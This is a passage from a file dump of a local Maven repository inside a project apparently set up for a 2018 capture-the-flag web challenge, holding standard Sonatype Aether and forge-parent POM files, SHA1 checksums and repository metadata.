  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-api/1.7/aether-api-1.7.pom.sha1",
    "content": "07d9331c480f8028c0f009f4b332ff5b18230003"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-impl/1.7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\naether-impl-1.7.jar>central=\naether-impl-1.7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-impl/1.7/aether-impl-1.7.jar.sha1",
    "content": "5cc1803eb7126f759d34007b74e6dc44e9a9fb08"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-impl/1.7/aether-impl-1.7.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.aether</groupId>\n    <artifactId>aether-parent</artifactId>\n    <version>1.7</version>\n  </parent>\n\n  <artifactId>aether-impl</artifactId>\n\n  <name>Aether :: Implementation</name>\n  <description>\n    An implementation of the repository system.\n  </description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-api</artifactId>\n      <version>${project.version}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-spi</artifactId>\n      <version>${project.version}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-util</artifactId>\n      <version>${project.version}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-annotations</artifactId>\n      <version>1.5.5</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.5.5</version>\n      <scope>provided</scope>\n      <exclusions>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-classworlds</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.apache.xbean</groupId>\n          <artifactId>xbean-reflect</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>com.google.collections</groupId>\n          <artifactId>google-collections</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.slf4j</groupId>\n      <artifactId>slf4j-api</artifactId>\n      <version>1.6.1</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-test-util</artifactId>\n      <version>${project.version}</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>animal-sniffer-maven-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-impl/1.7/aether-impl-1.7.pom.sha1",
    "content": "1f6352a67ee0e08fa1cac00e982cdc305d10ce67"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-parent/1.7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:25 CST 2018\naether-parent-1.7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-parent/1.7/aether-parent-1.7.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright (c) 2008 Sonatype, Inc. All rights reserved.\n\nThis program is licensed to you under the Apache License Version 2.0,\nand you may not use this file except in compliance with the Apache License Version 2.0.\nYou may obtain a copy of the Apache License Version 2.0 at http://www.apache.org/licenses/LICENSE-2.0.\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the Apache License Version 2.0 is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the Apache License Version 2.0 for the specific language governing permissions and limitations there under.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.forge</groupId>\n    <artifactId>forge-parent</artifactId>\n    <version>6</version>\n  </parent>\n\n  <groupId>org.sonatype.aether</groupId>\n  <artifactId>aether-parent</artifactId>\n  <version>1.7</version>\n  <packaging>pom</packaging>\n\n  <name>Aether</name>\n  <description>\n    The parent and aggregator for the repository system.\n  </description>\n  <url>http://aether.sonatype.org/</url>\n  <inceptionYear>2010</inceptionYear>\n\n  <organization>\n    <name>Sonatype, Inc.</name>\n    <url>http://www.sonatype.com</url>\n  </organization>\n\n  <mailingLists>\n    <mailingList>\n      <name>Aether Developers List</name>\n      <subscribe>aether-dev-subscribe@sonatype.org</subscribe>\n      <unsubscribe>aether-dev-unsubscribe@sonatype.org</unsubscribe>\n      <post>aether-dev@sonatype.org</post>\n      <!-- archive>?</archive -->\n    </mailingList>\n    <mailingList>\n      <name>Aether Users List</name>\n      <subscribe>aether-user-subscribe@sonatype.org</subscribe>\n      <unsubscribe>aether-user-unsubscribe@sonatype.org</unsubscribe>\n      <post>aether-user@sonatype.org</post>\n      <!-- archive>?</archive -->\n    </mailingList>\n    <mailingList>\n      <name>Aether Commits List</name>\n      <subscribe>aether-scm-subscribe@sonatype.org</subscribe>\n      <unsubscribe>aether-scm-unsubscribe@sonatype.org</unsubscribe>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/sonatype-aether.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/sonatype-aether.git</developerConnection>\n    <url>git@github.com:sonatype/sonatype-aether.git</url>\n  </scm>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>https://issues.sonatype.org/browse/AETHER</url>\n  </issueManagement>\n\n  <ciManagement>\n    <system>Hudson</system>\n    <url>https://grid.sonatype.org/ci/job/Aether/</url>\n  </ciManagement>\n\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <modules>\n    <module>aether-api</module>\n    <module>aether-spi</module>\n    <module>aether-util</module>\n    <module>aether-impl</module>\n    <module>aether-test-util</module>\n    <module>aether-connector-file</module>\n    <module>aether-connector-wagon</module>\n  </modules>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <forgeReleaseUrl>https://repository.sonatype.org/service/local/staging/deploy/maven2</forgeReleaseUrl>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>4.8.1</version>\n        <scope>test</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.1</version>\n          <configuration>\n            <source>1.5</source>\n            <target>1.5</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n          <configuration>\n            <links>\n              <link>http://java.sun.com/javase/6/docs/api/</link>\n            </links>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0</version>\n          <configuration>\n            <autoVersionSubmodules>true</autoVersionSubmodules>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>animal-sniffer-maven-plugin</artifactId>\n          <version>1.6</version>\n          <configuration>\n            <signature>\n              <groupId>org.codehaus.mojo.signature</groupId>\n              <artifactId>java15</artifactId>\n              <version>1.0</version>\n            </signature>\n          </configuration>\n          <executions>\n            <execution>\n              <id>check-java-1.5-compat</id>\n              <phase>process-classes</phase>\n              <goals>\n                <goal>check</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-metadata</artifactId>\n          <version>1.5.5</version>\n          <executions>\n            <execution>\n              <id>generate-components-xml</id>\n              <goals>\n                <goal>generate-metadata</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>demo</id>\n      <modules>\n        <module>aether-demo</module>\n      </modules>\n    </profile>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                <groupId>org.apache.apache.resources</groupId>\n                <artifactId>apache-source-release-assembly-descriptor</artifactId>\n                <version>1.0.2</version>\n              </dependency>\n            </dependencies>\n            <executions>\n              <execution>\n                <id>attach-source-release-distro</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <configuration>\n                  <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n                  <descriptorRefs>\n                    <descriptorRef>source-release</descriptorRef>\n                  </descriptorRefs>\n                  <tarLongFileFormat>gnu</tarLongFileFormat>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-parent/1.7/aether-parent-1.7.pom.sha1",
    "content": "9272ca55ba8e2a1f03addfd1b698511d5122c646"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-spi/1.7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\naether-spi-1.7.jar>central=\naether-spi-1.7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-spi/1.7/aether-spi-1.7.jar.sha1",
    "content": "1ea472b28d9d891d353c0311593f5e2a0e73d4be"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-spi/1.7/aether-spi-1.7.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright (c) 2008 Sonatype, Inc. All rights reserved.\n\nThis program is licensed to you under the Apache License Version 2.0, \nand you may not use this file except in compliance with the Apache License Version 2.0. \nYou may obtain a copy of the Apache License Version 2.0 at http://www.apache.org/licenses/LICENSE-2.0.\n\nUnless required by applicable law or agreed to in writing, \nsoftware distributed under the Apache License Version 2.0 is distributed on an \n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \nSee the Apache License Version 2.0 for the specific language governing permissions and limitations there under.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.aether</groupId>\n    <artifactId>aether-parent</artifactId>\n    <version>1.7</version>\n  </parent>\n\n  <artifactId>aether-spi</artifactId>\n\n  <name>Aether :: SPI</name>\n  <description>\n    The service provider interface for repository system implementations and repository connectors.\n  </description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-api</artifactId>\n      <version>${project.version}</version>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>animal-sniffer-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-spi/1.7/aether-spi-1.7.pom.sha1",
    "content": "0fdd424fc1f7acd9268c0ceb07fd7aceedb1019f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-util/1.7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\naether-util-1.7.jar>central=\naether-util-1.7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-util/1.7/aether-util-1.7.jar.sha1",
    "content": "38485c9c086c3c867c2dd5371909337bd056c492"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-util/1.7/aether-util-1.7.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright (c) 2008 Sonatype, Inc. All rights reserved.\n\nThis program is licensed to you under the Apache License Version 2.0, \nand you may not use this file except in compliance with the Apache License Version 2.0. \nYou may obtain a copy of the Apache License Version 2.0 at http://www.apache.org/licenses/LICENSE-2.0.\n\nUnless required by applicable law or agreed to in writing, \nsoftware distributed under the Apache License Version 2.0 is distributed on an \n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \nSee the Apache License Version 2.0 for the specific language governing permissions and limitations there under.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.aether</groupId>\n    <artifactId>aether-parent</artifactId>\n    <version>1.7</version>\n  </parent>\n\n  <artifactId>aether-util</artifactId>\n\n  <name>Aether :: Utilities</name>\n  <description>\n    A collection of utility classes to ease usage of the repository system.\n  </description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-api</artifactId>\n      <version>${project.version}</version>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-test-util</artifactId>\n      <version>${project.version}</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>animal-sniffer-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-util/1.7/aether-util-1.7.pom.sha1",
    "content": "3bd750dbf22b2effa411117b7230694cc4095f3f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/10/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:00 CST 2018\nforge-parent-10.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/10/forge-parent-10.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nCopyright (C) 2010 Sonatype, Inc.\n\nSonatype Inc, licenses this file to you under the Apache License,\nVersion 2.0 (the \"License\"); you may not use this file except in\ncompliance with the License.  You may obtain a copy of the License at\n\nhttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>org.sonatype.forge</groupId>\n    <artifactId>forge-parent</artifactId>\n    <packaging>pom</packaging>\n    <version>10</version>\n    <name>Sonatype Forge Parent Pom</name>\n\n    <inceptionYear>2008</inceptionYear>\n    <url>http://forge.sonatype.com/</url>\n\n    <organization>\n        <name>Sonatype, Inc.</name>\n        <url>http://www.sonatype.com/</url>\n    </organization>\n\n    <scm>\n        <connection>scm:svn:http://svn.sonatype.org/forge/tags/forge-parent-10</connection>\n        <url>http://svn.sonatype.org/forge/tags/forge-parent-10</url>\n        <developerConnection>scm:svn:https://svn.sonatype.org/forge/tags/forge-parent-10</developerConnection>\n    </scm>\n\n    <properties>\n        <forgeReleaseId>forge-releases</forgeReleaseId>\n        <forgeReleaseUrl>https://repository.sonatype.org/service/local/staging/deploy/maven2</forgeReleaseUrl>\n        <forgeSnapshotId>forge-snapshots</forgeSnapshotId>\n        <forgeSnapshotUrl>https://repository.sonatype.org/content/repositories/snapshots</forgeSnapshotUrl>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    </properties>\n\n    <distributionManagement>\n        <repository>\n            <id>${forgeReleaseId}</id>\n            <url>${forgeReleaseUrl}</url>\n        </repository>\n        <snapshotRepository>\n            <id>${forgeSnapshotId}</id>\n            <url>${forgeSnapshotUrl}</url>\n        </snapshotRepository>\n    </distributionManagement>\n\n    <build>\n        <!--set the default plugin revs-->\n        <pluginManagement>\n            <plugins>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-assembly-plugin</artifactId>\n                    <version>2.2.1</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-clean-plugin</artifactId>\n                    <version>2.4.1</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-compiler-plugin</artifactId>\n                    <version>2.3.2</version>\n                    <configuration>\n                        <source>1.5</source>\n                        <target>1.5</target>\n                    </configuration>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-dependency-plugin</artifactId>\n                    <version>2.2</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-deploy-plugin</artifactId>\n                    <version>2.5</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-eclipse-plugin</artifactId>\n                    <version>2.8</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-enforcer-plugin</artifactId>\n                    <version>1.0</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-gpg-plugin</artifactId>\n                    <version>1.2</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-install-plugin</artifactId>\n                    <version>2.3.1</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-jar-plugin</artifactId>\n                    <version>2.3.1</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-javadoc-plugin</artifactId>\n                    <version>2.7</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-release-plugin</artifactId>\n                    <version>2.1</version>\n                    <configuration>\n                        <!--  here to prevent hang see MGPG-9 -->\n                        <mavenExecutorId>forked-path</mavenExecutorId>\n                        <useReleaseProfile>false</useReleaseProfile>\n                        <goals>deploy</goals>\n                        <arguments>-Prelease</arguments>\n                    </configuration>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-remote-resources-plugin</artifactId>\n                    <version>1.2</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-resources-plugin</artifactId>\n                    <version>2.5</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-scm-plugin</artifactId>\n                    <version>1.4</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-site-plugin</artifactId>\n                    <version>2.2</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-source-plugin</artifactId>\n                    <version>2.1.2</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-surefire-plugin</artifactId>\n                    <version>2.8</version>\n                    <configuration>\n                        <redirectTestOutputToFile>true</redirectTestOutputToFile>\n                    </configuration>\n                </plugin>\n                <plugin>\n                    <groupId>org.sonatype.plugins</groupId>\n                    <artifactId>sisu-maven-plugin</artifactId>\n                    <version>1.0</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.codehaus.mojo</groupId>\n                    <artifactId>animal-sniffer-maven-plugin</artifactId>\n                    <version>1.6</version>\n                </plugin>\n                <plugin>\n                    <groupId>com.mycila.maven-license-plugin</groupId>\n                    <artifactId>maven-license-plugin</artifactId>\n                    <version>1.9.0</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.codehaus.modello</groupId>\n                    <artifactId>modello-maven-plugin</artifactId>\n                    <version>1.4.1</version>\n                    <configuration>\n                        <useJava5>true</useJava5>\n                    </configuration>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.felix</groupId>\n                    <artifactId>maven-bundle-plugin</artifactId>\n                    <version>2.3.4</version>\n                </plugin>\n            </plugins>\n        </pluginManagement>\n    </build>\n\n    <reporting>\n        <plugins>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>cobertura-maven-plugin</artifactId>\n                <version>2.4</version>\n            </plugin>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>findbugs-maven-plugin</artifactId>\n                <version>2.3.1</version>\n                <configuration>\n                    <omitVisitors>UnreadFields</omitVisitors>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-jxr-plugin</artifactId>\n                <version>2.2</version>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-project-info-reports-plugin</artifactId>\n                <version>2.3.1</version>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-pmd-plugin</artifactId>\n                <version>2.5</version>\n                <configuration>\n                    <targetJdk>1.5</targetJdk>\n                </configuration>\n            </plugin>\n        </plugins>\n    </reporting>\n\n    <profiles>\n        <profile>\n            <id>release</id>\n            <build>\n                <plugins>\n                    <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-gpg-plugin</artifactId>\n                        <configuration>\n                            <!-- this presumes the correct gpg.passphrase property in the settings \"release\" proile -->\n                            <passphrase>${gpg.passphrase}</passphrase>\n                            <!-- most likely we are using an agent -->\n                            <useAgent>true</useAgent>\n                        </configuration>\n                        <executions>\n                            <execution>\n                                <goals>\n                                    <goal>sign</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    <!-- We want to deploy the artifact to a staging location for perusal -->\n                    <plugin>\n                        <inherited>true</inherited>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-deploy-plugin</artifactId>\n                        <configuration>\n                            <altDeploymentRepository>${deploy.altRepository}</altDeploymentRepository>\n                            <updateReleaseInfo>true</updateReleaseInfo>\n                        </configuration>\n                    </plugin>\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-source-plugin</artifactId>\n                        <executions>\n                            <execution>\n                                <id>attach-sources</id>\n                                <goals>\n                                    <goal>jar-no-fork</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-javadoc-plugin</artifactId>\n                        <configuration>\n                            <encoding>${project.build.sourceEncoding}</encoding>\n                        </configuration>\n                        <executions>\n                            <execution>\n                                <id>attach-javadocs</id>\n                                <goals>\n                                    <goal>jar</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    <!--\n                    <plugin>\n                        <groupId>org.codehaus.mojo</groupId>\n                        <artifactId>clirr-maven-plugin</artifactId>\n                        <executions>\n                            <execution>\n                                <id>clirr-check</id>\n                                <phase>package</phase>\n                                <goals>\n                                    <goal>check</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    -->\n                </plugins>\n            </build>\n        </profile>\n    </profiles>\n\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/10/forge-parent-10.pom.sha1",
    "content": "c24dc843444f348100c19ebd51157e7a5f61bfe7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:40 CST 2018\nforge-parent-3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/3/forge-parent-3.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>org.sonatype.forge</groupId>\n    <artifactId>forge-parent</artifactId>\n    <packaging>pom</packaging>\n    <version>3</version>\n    <name>Sonatype Forge Parent Pom</name>\n    <inceptionYear>2008</inceptionYear>\n    <url>http://forge.sonatype.com/</url>\n    <scm>\n        <connection>scm:svn:http://svn.sonatype.org/forge/tags/forge-parent-3</connection>\n        <url>http://svn.sonatype.org/forge/tags/forge-parent-3</url>\n        <developerConnection>scm:svn:https://svn.sonatype.org/forge/tags/forge-parent-3</developerConnection>\n    </scm>\n \n\n    <properties>\n      <forgeReleaseId>forge-releases</forgeReleaseId>\n      <forgeReleaseUrl>http://repository.sonatype.org/content/repositories/releases</forgeReleaseUrl>\n      <forgeSnapshotId>forge-snapshots</forgeSnapshotId>\n      <forgeSnapshotUrl>http://repository.sonatype.org/content/repositories/snapshots</forgeSnapshotUrl>\n    </properties>\n    <distributionManagement>\n        <repository>\n            <id>${forgeReleaseId}</id>\n            <url>${forgeReleaseUrl}</url>\n        </repository>\n        <snapshotRepository>\n            <id>${forgeSnapshotId}</id>\n            <url>${forgeSnapshotUrl}</url>\n        </snapshotRepository>\n    </distributionManagement>\n    \n    \n    \n    <build>\n    <!--set the default plugin revs-->\n        <pluginManagement>\n            <plugins>\n               <plugin>\n                    <artifactId>maven-enforcer-plugin</artifactId>\n                    <version>1.0-alpha-4-sonatype</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-eclipse-plugin</artifactId>\n                    <version>2.4</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-surefire-plugin</artifactId>\n                    <version>2.3</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-clean-plugin</artifactId>\n                    <version>2.2</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-deploy-plugin</artifactId>\n                    <version>2.3</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-dependency-plugin</artifactId>\n                    <version>2.0</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-site-plugin</artifactId>\n                    <version>2.0-beta-6</version>\n                </plugin>\n                <plugin>\n                    